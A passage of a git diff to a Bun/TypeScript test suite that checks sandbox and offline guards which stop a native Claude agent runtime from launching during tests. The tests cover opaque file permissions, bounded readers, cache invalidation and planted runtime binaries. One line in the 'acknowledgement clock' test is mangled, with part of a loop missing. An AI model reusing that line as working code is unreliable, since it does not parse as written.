"workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/native-guard-copy-closure.test.ts b/tests/native-guard-copy-closure.test.ts index 4f206d2def..49874ed03e 100644 --- a/tests/native-guard-copy-closure.test.ts +++ b/tests/native-guard-copy-closure.test.ts @@ -15,7 +15,7 @@ test("every copied offline guard includes its transitive relative import closure }); test("copy inventory rejects a missing transitive module in an otherwise complete list",()=>{ - const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","native-runtime-pin.ts","native-launch-ready.ts","test-deadlines.ts","native-title-collector.ts","native-shared-audit.ts","workspace-lease.mjs"]; + const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","native-runtime-pin.ts","native-opaque-stage.ts","native-stage-metadata-channel.ts","native-launch-ready.ts","test-deadlines.ts","native-title-collector.ts","native-shared-audit.ts","workspace-lease.mjs"]; const text=`const files=${JSON.stringify(files)};for(const file of files)copyFileSync(file,file);`; const lists=guardCopyLists("fixture-copy.ts",text);expect(lists).toHaveLength(1); expect(missingGuardImports(root,lists[0]!)).toEqual(["scripts/native-test-receipts.ts"]); diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts index b69e6f82a2..56450dbc42 100644 --- a/tests/native-managed-inspection.test.ts +++ b/tests/native-managed-inspection.test.ts @@ -1,5 +1,5 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,mkdirSync,readFileSync,rmSync} from "node:fs"; +import {expect,test,describe,beforeAll,afterAll} from "bun:test"; +import {mkdtempSync,mkdirSync,readFileSync,rmSync,writeFileSync,chmodSync,lstatSync} from "node:fs"; import {join} from "node:path"; import ts from "typescript"; import {fixtureSources,nativeSdkLauncher} from "./helpers/native-launcher-inventory"; @@ -69,3 +69,149 @@ test("native profile literal credentials are explicitly declared instead of rewr test("every production stage sibling has an explicit bind-source disposition",()=>{ expect(nativeStageDirectoryRoles(),"STAGE_SIBLING_ROLE_INVENTORY").toEqual({layout:["upper","work","merged","git-adapter"],bindSources:["merged","git-adapter"]}); }); + +for(const mode of ["inaccessible","later-readable","swapped","foreign-mount","exec-only","search-only","mask","candidate","supplementary-group","acl-mask-search"] as const)test(`opaque stage kernel evidence: ${mode}`,async()=>{ + const {opaqueStageNode,recheckOpaqueStageNode}=await import("../scripts/native-opaque-stage"); + const root=mkdtempSync("/tmp/odysseus-opaque-stage-"),path=join(root,"unknown"),directory=mode==="search-only"; + try{ + if(directory)mkdirSync(path);else writeFileSync(path,"unknown"); + chmodSync(path,mode==="exec-only"||mode==="search-only"?0o711:mode==="supplementary-group"?0o750:mode==="acl-mask-search"?0o710:0o700); + const info=lstatSync(path,{bigint:true}),stamp=`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`; + const reader={uid:Number(info.uid)+1,gids:mode==="supplementary-group"?[Number(info.gid)]:[Number(info.gid)+1],root:mode==="foreign-mount"?"/proc":root,forbidden:mode==="mask"||mode==="candidate"?[path+"/claude"]:[]}; + const capture=()=>opaqueStageNode(path,"unknown",directory?"directory":"file",stamp,reader); + if(["foreign-mount","exec-only","search-only","mask","candidate","supplementary-group","acl-mask-search"].includes(mode)){expect(capture,"REACHABLE_OR_UNPROVEN_NODE_IS_NOT_OPAQUE").toThrow();return;} + const node=capture();expect(node.kind).toBe("file"); + if(mode==="later-readable")chmodSync(path,0o744); + if(mode==="swapped"){rmSync(path);writeFileSync(path,"replaced");chmodSync(path,0o700);} + if(mode==="inaccessible")expect(()=>recheckOpaqueStageNode(path,node,reader),"OPAQUE_NODE_REMAINS_UNKNOWN_WITH_PINNED_IDENTITY").not.toThrow(); + else expect(()=>recheckOpaqueStageNode(path,node,reader),"CHANGED_OPAQUE_NODE_REFUSES").toThrow(); + }finally{chmodSync(root,0o700);rmSync(root,{recursive:true,force:true});} +}); + +for(const mode of ["opaque","exec-only","search-only","unproven","other-error"] as const)test(`private stage reader preserves unknown nodes: ${mode}`,async()=>{ + const source=mkdtempSync("/tmp/odysseus-opaque-source-"),snapshot=mkdtempSync("/tmp/odysseus-opaque-copy-"),path=join(source,"unknown"); + try{ + mkdirSync(path);chmodSync(path,mode==="exec-only"||mode==="search-only"?0o711:0o700); + const info=lstatSync(path,{bigint:true}),stamp=`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`; + const row={path:"unknown",kind:"directory",stamp,mode:Number(info.mode)&0o777,bytes:Number(info.size),inode:String(info.ino)}; + let attempted=false; + const manager={async listStage(_id:string,path:string){if(!path)return [row];attempted=true;throw Object.assign(Error("private reader denied"),{code:mode==="other-error"?"EIO":"EACCES"});},async statStage(){return row;}}; + const reader={root:source,uid:Number(info.uid)+1,gids:[Number(info.gid)+1],forbidden:[]}; + const work=captureNativeFixtureStage(manager as never,"fixture",reader.uid,1024,snapshot,mode==="unproven"?undefined:reader); + if(mode==="opaque"){const stamps=await work;expect(attempted,"EXACT_PRIVATE_READER_ATTEMPTED").toBe(true);expect(stamps.get("unknown"),"UNKNOWN_NODE_IDENTITY_RETAINED").toBe(stamp);} + else await expect(work,"UNPROVEN_OR_EXECUTABLE_NODE_REFUSED").rejects.toThrow(); + }finally{rmSync(source,{recursive:true,force:true});rmSync(snapshot,{recursive:true,force:true});} +}); + +for(const broken of [false,true])test(`private inspection pipelines bounded reads and drains failures: ${broken}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-stage-pipeline-"); + const rows=Array.from({length:9},(_,i)=>({path:`loom-${i}.md`,kind:"file",mode:0o600,bytes:7,stamp:`fixed-${i}`,inode:String(i+1)})); + let live=0,peak=0,cancelled=0,completed=0; + const controllers:ReadableStreamDefaultController[]=[]; + const manager={async listStage(){return rows;},async statStage(_id:string,path:string){return rows.find(row=>row.path===path);},async readStage(_id:string,path:string){ + const index=Number(/loom-(\d+)/.exec(path)![1]);live++;peak=Math.max(peak,live); + let finish!:(value:{workerUid:number;bytes:number})=>void; + const done=new Promise<{workerUid:number;bytes:number}>(resolve=>{finish=resolve;}); + const settle=()=>{live--;completed++;finish({workerUid:broken&&index===0?21001:21002,bytes:7});}; + const stream=new ReadableStream({start(controller){controllers[index]=controller; + if(broken){if(index===2){controllers[0]!.enqueue(Buffer.from("Ithaca\n"));controllers[0]!.close();settleFirst();}} + else setTimeout(()=>{controller.enqueue(Buffer.from("Ithaca\n"));controller.close();settle();},5); + },async cancel(){cancelled++;await new Promise(resolve=>setTimeout(resolve,10));settle();}}); + function settleFirst(){/* receipt for the first stream is completed separately */firstFinish?.();} + if(index===0)firstFinish=settle; + return {workerUid:21002,stream,completed:done}; + }}; + let firstFinish:(()=>void)|undefined; + try{ + const work=captureNativeFixtureStage(manager as never,"stage",21002,1024,root); + if(broken){await expect(work,"FAILED_READ_DRAINS_ALL_IN_FLIGHT_READERS").rejects.toThrow("reader receipt changed");expect(cancelled).toBe(2);expect(completed).toBe(3);} + else{await work;expect(completed).toBe(9);expect(readFileSync(join(root,"loom-8.md"),"utf8")).toBe("Ithaca\n");} + expect(peak,"PRIVATE_READER_CONCURRENCY_IS_BOUNDED").toBe(3);expect(live,"NO_PRIVATE_READER_SURVIVES_INSPECTION").toBe(0); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("simultaneous fixture inspections share the process reader limit",async()=>{ + const roots=[mkdtempSync("/tmp/odysseus-stage-limit-"),mkdtempSync("/tmp/odysseus-stage-limit-")];let live=0,peak=0; + const rows=Array.from({length:6},(_,i)=>({path:`loom-${i}.md`,kind:"file",mode:0o600,bytes:7,stamp:`fixed-${i}`,inode:String(i+1)})); + const manager={async listStage(){return rows;},async statStage(_id:string,path:string){return rows.find(row=>row.path===path);},async readStage(){ + live++;peak=Math.max(peak,live);let finish!:(value:{workerUid:number;bytes:number})=>void; + const completed=new Promise<{workerUid:number;bytes:number}>(resolve=>{finish=resolve;}); + return {workerUid:21002,completed,stream:new ReadableStream({start(controller){setTimeout(()=>{controller.enqueue(Buffer.from("Ithaca\n"));controller.close();live--;finish({workerUid:21002,bytes:7});},5);}})}; + }}; + try{await Promise.all(roots.map(root=>captureNativeFixtureStage(manager as never,"stage",21002,1024,root)));expect(peak,"PROCESS_READER_LIMIT_APPLIES_ACROSS_CAPTURES").toBe(3);expect(live).toBe(0);} + finally{for(const root of roots)rmSync(root,{recursive:true,force:true});} +}); + +for(const change of ["content","inode","mode","links"] as const)test(`finding reuse re-inspects a changed kernel key: ${change}`,async()=>{ + const {nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard"); + const {renameSync,linkSync,utimesSync}=await import("node:fs"); + const root=mkdtempSync("/tmp/odysseus-finding-key-"),path=join(root,"loom.md"); + try{ + writeFileSync(path,"Ithaca\n",{mode:0o600});const fixed=new Date("2026-07-12T00:00:00Z");utimesSync(path,fixed,fixed);const first=nativeFixtureFileFinding(path),warmed=nativeFixtureFindingCounts(); + expect(nativeFixtureFileFinding(path)).toEqual(first);expect(nativeFixtureFindingCounts().reused).toBeGreaterThan(warmed.reused); + await Bun.sleep(2); + if(change==="content"){writeFileSync(path,"Troy!!\n");utimesSync(path,fixed,fixed);} + if(change==="inode"){renameSync(path,join(root,"retired.md"));writeFileSync(path,"Troy!!\n",{mode:0o600});} + if(change==="mode")chmodSync(path,0o400); + if(change==="links")linkSync(path,join(root,"other.md")); + const before=nativeFixtureFindingCounts(),next=nativeFixtureFileFinding(path); + expect(next.key,"CHANGED_ENTRY_IS_NOT_ASSUMED_CLEAN").not.toBe(first.key); + expect(nativeFixtureFindingCounts().inspected,"CHANGED_KERNEL_KEY_REINSPECTED").toBe(before.inspected+1); + if(change==="content"||change==="inode")expect(next.hash,"CHANGED_BYTES_DETECTED").not.toBe(first.hash); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("a native runtime planted after findings warm is detected without execution",async()=>{ + const {nativeFixtureFileFinding,isNativeClaude}=await import("../scripts/test-native-guard"); + const {bundledClaudeBinary}=await import("../packages/core/src/providers/agents/claude-binary"); + const {copyFileSync,constants}=await import("node:fs");const root=mkdtempSync("/tmp/odysseus-planted-runtime-"),path=join(root,"loom"); + try{writeFileSync(path,"Ithaca\n");const old=nativeFixtureFileFinding(path);expect(isNativeClaude(path)).toBe(false); + copyFileSync(bundledClaudeBinary()!,path,constants.COPYFILE_FICLONE);chmodSync(path,0o500); + const finding=nativeFixtureFileFinding(path);expect(finding.key).not.toBe(old.key);expect(isNativeClaude(path),"LATE_NATIVE_RUNTIME_IS_CAUGHT").toBe(true); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("acknowledgement clock subtracts only guard-owned intervals",async()=>{ + const {nativeFixtureGuardTiming,isNativeClaude}=await import("../scripts/test-native-guard"); + const {nativeReceipt}=await import("../scripts/native-test-receipts"); + const start=performance.now();isNativeClaude("/usr/bin/true");await Bun.sleep(20);const end=performance.now(),timing=nativeFixtureGuardTiming(start,end); + expect(timing.rawMs).toBe(end-start);expect(timing.guardMs).toBeGreaterThan(0);expect(timing.productMs,"PRODUCT_WORK_REMAINS_ON_PRODUCT_CLOCK").toBeGreaterThanOrEqual(15); + expect(timing.guardMs).toBe(timing.intervals.reduce((sum,row)=>sum+row.endMs-row.startMs,0)); + for(let i=1;inativeReceipt({kind:"native-guard-interval",operation:"stage-inspection",pid:process.pid,startMs:start,endMs:end,clock:"performance.now"}),"FAKE_GUARD_INTERVAL_CANNOT_HIDE_PRODUCT_WORK").toThrow("Unowned native guard timing interval refused"); +}); + +test("runtime mask findings are reused after complete cheap key comparisons",async()=>{ + const {nativeTripwireMaskPaths,nativeFixtureSetupCounts}=await import("../scripts/test-native-guard"); + const first=nativeTripwireMaskPaths(),before=nativeFixtureSetupCounts(); + expect(nativeTripwireMaskPaths()).toEqual(first);expect(nativeFixtureSetupCounts().maskReuses,"MASK_SETUP_FINDINGS_REUSED").toBeGreaterThan(before.maskReuses); +}); + +test("readable stage files are inspected in place after the bounded reader succeeds",async()=>{ + const {statSync}=await import("node:fs"); + const source=mkdtempSync("/tmp/odysseus-in-place-source-"),snapshot=mkdtempSync("/tmp/odysseus-in-place-view-"),file=join(source,"loom.md");writeFileSync(file,"Ithaca\n",{mode:0o600}); + const info=lstatSync(file,{bigint:true}),uid=Number(info.uid)+1,row={path:"loom.md",kind:"file",mode:0o600,bytes:7,inode:String(info.ino),stamp:`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`};let reads=0; + const manager={async listStage(){return [row];},async statStage(){return row;},async readStage(){reads++;return {workerUid:uid,stream:new ReadableStream({start(controller){controller.enqueue(Buffer.from("Ithaca\n"));controller.close();}}),completed:Promise.resolve({workerUid:uid,bytes:7})};}}; + try{await captureNativeFixtureStage(manager as never,"stage",uid,1024,snapshot,{uid,gids:[Number(info.gid)+1],root:source,forbidden:[]}); + expect(reads,"ACTUAL_READER_RECEIPT_REQUIRED_BEFORE_IN_PLACE_FINDING").toBe(1); + expect(lstatSync(join(snapshot,"loom.md")).isSymbolicLink(),"READABLE_FILE_HAS_NO_INSPECTION_COPY").toBe(true); + expect(statSync(join(snapshot,"loom.md"),{bigint:true}).ino,"INSPECTION_SEES_THE_PINNED_SOURCE_INODE").toBe(info.ino); + expect(readFileSync(join(snapshot,"loom.md"),"utf8")).toBe("Ithaca\n"); + }finally{rmSync(snapshot,{recursive:true,force:true});rmSync(source,{recursive:true,force:true});} +}); + +describe("findings remain safe between tests in one process",()=>{ + let root:string,path:string,initial:{key:string;hash:string};const fixed=new Date("2026-07-12T00:00:00Z"); + beforeAll(async()=>{const {utimesSync}=await import("node:fs"),{nativeFixtureFileFinding}=await import("../scripts/test-native-guard");root=mkdtempSync("/tmp/odysseus-between-tests-");path=join(root,"loom.md");writeFileSync(path,"Ithaca\n",{mode:0o600});utimesSync(path,fixed,fixed);initial=nativeFixtureFileFinding(path);}); + afterAll(()=>rmSync(root,{recursive:true,force:true})); + test("a first test can reuse the existing complete-key finding",async()=>{ + const {nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard");const first=nativeFixtureFileFinding(path),before=nativeFixtureFindingCounts(); + expect(nativeFixtureFileFinding(path)).toEqual(first);expect(nativeFixtureFindingCounts().reused).toBeGreaterThan(before.reused); + }); + test("a later test's same-path content and ctime change is re-inspected",async()=>{ + const {utimesSync}=await import("node:fs"),{nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard"); + await Bun.sleep(2);writeFileSync(path,"Troy!!\n");utimesSync(path,fixed,fixed);const before=nativeFixtureFindingCounts(),next=nativeFixtureFileFinding(path); + expect(next.key,"BETWEEN_TEST_CTIME_CHANGE_INVALIDATES_FINDING").not.toBe(initial.key);expect(next.hash,"BETWEEN_TEST_CONTENT_CHANGE_DETECTED").not.toBe(initial.hash); + expect(nativeFixtureFindingCounts().inspected).toBe(before.inspected+1); + }); +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 0ee73247b1..bc61e31bbc 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -128,8 +128,8 @@ test("missing bubblewrap emits a failed receipt and cannot be caught into succes try { const result = await probe(`${imports} process.env.GITHUB_ACTIONS="true"; process.env.RUNNER_ENVIRONMENT="github-hosted"; - const original=Bun.spawnSync; - Bun.spawnSync=((...args)=>{if(args[0]?.[0]==="bwrap")throw Object.assign(new Error("synthetic missing isolation"),{code:"ENOENT"});return Reflect.apply(original,Bun,args);}); + const which=Bun.which; + Bun.which=((name,options)=>name==="bwrap"?null:which(name,options)); try { nativeClaudeBoundary(${JSON.stringify(runtime)}, [], {}); } catch {} process.exit(0);`, scratch); expect(result.code).not.toBe(0); expect(result.output).toContain('"success":false,"nativeLaunched":false'); @@ -141,9 +141,9 @@ test("missing kernel lifetime socket policy refuses before native launch", async const scratch=mkdtempSync(join(tmpdir(),"odysseus-kernel-policy-")); try { const result=await probe(`${imports} - const original=Bun.spawnSync; const which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:argv[0]?.endsWith("/native-connect")?{exitCode:125,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options])); + import {compileSocketPolicy} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + import {chmodSync,writeFileSync} from "node:fs"; + const policy=compileSocketPolicy();chmodSync(policy,0o700);writeFileSync(policy,${JSON.stringify("#!/bin/sh\nexit 125\n")});chmodSync(policy,0o555); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; nativeClaudeBoundary(${JSON.stringify(runtime)},[],{});`,scratch); expect(result.code).not.toBe(0); @@ -574,7 +574,7 @@ test("workspace SDK discovery works without root resolution and fails closed for writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); - copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts"));copyFileSync(join(ROOT,"scripts/native-runtime-pin.ts"),join(scratch,"scripts/native-runtime-pin.ts"));copyFileSync(join(ROOT,"scripts/native-launch-ready.ts"),join(scratch,"scripts/native-launch-ready.ts"));copyFileSync(join(ROOT,"scripts/test-deadlines.ts"),join(scratch,"scripts/test-deadlines.ts"));copyFileSync(join(ROOT,"scripts/native-title-collector.ts"),join(scratch,"scripts/native-title-collector.ts"));copyFileSync(join(ROOT,"scripts/native-shared-audit.ts"),join(scratch,"scripts/native-shared-audit.ts")); + copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts"));copyFileSync(join(ROOT,"scripts/native-runtime-pin.ts"),join(scratch,"scripts/native-runtime-pin.ts"));copyFileSync(join(ROOT,"scripts/native-opaque-stage.ts"),join(scratch,"scripts/native-opaque-stage.ts"));copyFileSync(join(ROOT,"scripts/native-stage-metadata-channel.ts"),join(scratch,"scripts/native-stage-metadata-channel.ts"));copyFileSync(join(ROOT,"scripts/native-launch-ready.ts"),join(scratch,"scripts/native-launch-ready.ts"));copyFileSync(join(ROOT,"scripts/test-deadlines.ts"),join(scratch,"scripts/test-deadlines.ts"));copyFileSync(join(ROOT,"scripts/native-title-collector.ts"),join(scratch,"scripts/native-title-collector.ts"));copyFileSync(join(ROOT,"scripts/native-shared-audit.ts"),join(scratch,"scripts/native-shared-audit.ts")); const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); symlinkSync(dirname(sdk), link); const module = join(scratch, "scripts/test-native-guard.ts"); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index 627d90c671..aa5bafe5a3 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -47,7 +47,7 @@ test("an isolated preload without receipt libraries never prints raw diagnostic const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); try{ mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); - writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-runtime-pin.ts"),join(root,"scripts/native-runtime-pin.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-launch-ready.ts"),join(root,"scripts/native-launch-ready.ts"));copyFileSync(join(import.meta.dir,"../scripts/test-deadlines.ts"),join(root,"scripts/test-deadlines.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-title-collector.ts"),join(root,"scripts/native-title-collector.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-shared-audit.ts"),join(root,"scripts/native-shared-audit.ts")); + writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-runtime-pin.ts"),join(root,"scripts/native-runtime-pin.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-opaque-stage.ts"),join(root,"scripts/native-opaque-stage.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-stage-metadata-channel.ts"),join(root,"scripts/native-stage-metadata-channel.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-launch-ready.ts"),join(root,"scripts/native-launch-ready.ts"));copyFileSync(join(import.meta.dir,"../scripts/test-deadlines.ts"),join(root,"scripts/test-deadlines.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-title-collector.ts"),join(root,"scripts/native-title-collector.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-shared-audit.ts"),join(root,"scripts/native-shared-audit.ts")); const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; writeFileSync(script,`const original=Bun.spawnSync; Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); diff --git a/tests/native-qualification-paths.test.ts b/tests/native-qualification-paths.test.ts index 8d99a9e0bc..dcfd0d17b5 100644 --- a/tests/native-qualification-paths.test.ts +++ b/tests/native-qualification-paths.test.ts @@ -13,7 +13,7 @@ test("a missing installed-runtime candidate is skipped while existing aliases re }finally{fs.rmSync(root,{recursive:true,force:true});} }); -for(const code of ["EACCES","EPERM","ENOTDIR","ELOOP"])test(`runtime mask metadata ${code} still fails closed`,()=>{ +for(const code of ["EACCES","EPERM","ENOTDIR","ELOOP","ENAMETOOLONG"])test(`runtime mask metadata ${code} still fails closed`,()=>{ const root=fs.mkdtempSync("/tmp/odysseus-runtime-mask-errors-"),path=join(root,"selected");fs.writeFileSync(path,"metadata only"); const real=fs.statSync,spy=spyOn(fs,"statSync").mockImplementation(((input:any,...args:any[])=>{if(input===path)throw Object.assign(Error("runtime metadata unavailable"),{code});return Reflect.apply(real,fs,[input,...args]);}) as typeof fs.statSync); try{expect(()=>nativeExistingRuntimeMaskPaths([path]),"NON_ENOENT_METADATA_FAILURE_REFUSES").toThrow("runtime metadata unavailable");} diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 8994e3fa60..272df4077d 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -17,7 +17,7 @@ import singleFileRuns from "./fixtures/determinism-single-file-runs.json"; const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", - "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index 66564aebd3..02046a8fc7 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index c10d32238c..b06b2030cd 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index 2b721f943e..b6f8c861bd 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", 